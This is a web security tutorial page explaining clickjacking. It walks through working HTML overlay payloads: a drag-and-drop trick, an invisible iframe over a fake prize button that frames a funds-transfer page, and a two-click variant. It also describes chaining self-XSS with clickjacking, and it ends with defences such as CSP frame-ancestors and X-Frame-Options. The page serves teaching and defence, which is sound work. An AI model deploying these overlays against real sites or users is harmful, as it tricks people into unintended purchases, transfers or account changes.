📜 Medium🛒 My Shop👾 Github📩 Telegram 📺 YouTube✖ Twitter

Clickjacking

Explore clickjacking attacks with VeryLazyTech—techniques, exploits, and lazy prevention tips!

Basic info

Clickjacking, also known as UI redressing, is a deceptive cyber attack where users are tricked into clicking on hidden UI elements, performing unintended actions. Attackers leverage iframes and CSS opacity tricks to overlay malicious content on legitimate pages, leading to data theft, account takeovers, or spreading malware.

In this guide, we'll explore how Clickjacking works, real-world attack scenarios, and prevention strategies to mitigate this web security threat.

What is Clickjacking?

Clickjacking is an attack where a victim is tricked into clicking something different than what they perceive. This technique exploits web page layering, allowing attackers to load invisible or disguised UI components over a trusted page.

How Clickjacking Works

  1. A victim visits a seemingly harmless webpage.

  2. The page embeds an invisible or disguised iframe containing a sensitive action (e.g., enabling a webcam, making a purchase, or liking a post).

  3. The victim interacts with the webpage, unknowingly triggering the hidden action.

  4. The attacker gains access to the unintended action, often leading to security breaches.

Common Clickjacking Exploits

Clickjacking attacks vary in complexity, combining JavaScript, CSS, and social engineering tactics. Below are some common exploit techniques:

1. Prepopulate Forms Trick

Attackers overlay an invisible login form over a trusted page. When the victim clicks anywhere, they unknowingly submit credentials.

2. Drag & Drop Exploit

This technique forces users to drag a disguised malicious element, dropping it into a sensitive area (e.g., file upload, email attachment submission).

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

3. Basic Clickjacking Payload

<!DOCTYPE html>
<html>
<head>
    <style>
        iframe {
            position: absolute;
            opacity: 0;
            z-index: 999;
            width: 100%;
            height: 100%;
        }
    </style>
</head>
<body>
    <h1>Click the button below</h1>
    <button>Win a Prize!</button>
    <iframe src="https://victim-site.com/transfer-funds"></iframe>
</body>
</html>

In this example, clicking the button actually submits a hidden transaction.

4. XSS + Clickjacking Attack

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.

Example: You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters. An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.

5. DoubleClickjacking

A deceptive technique requiring two clicks: the first click aligns the hidden button, and the second executes the action.

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

How to Prevent Clickjacking

Client-Side Defenses

1. Content Security Policy (CSP)

Use frame-ancestors directive to prevent embedding:

Content-Security-Policy: frame-ancestors 'none';

2. X-Frame-Options Header

Blocks the site from being loaded in an iframe:

X-Frame-Options: DENY

3. Frame Busting JavaScript

if (window.self !== window.top) {
    document.body.innerHTML = '';
    alert("Clickjacking attempt detected!");
}

Server-Side Protections

  • Set secure HTTP headers.

  • Implement user interaction validation (e.g., CAPTCHAs).

  • Use SameSite cookies to prevent cross-origin access.

Learn & practice For the OSCP.

Support VeryLazyTech 🎉
PreviousClient-Side Path TraversalNextCommand Injection

Last updated

Was this helpful?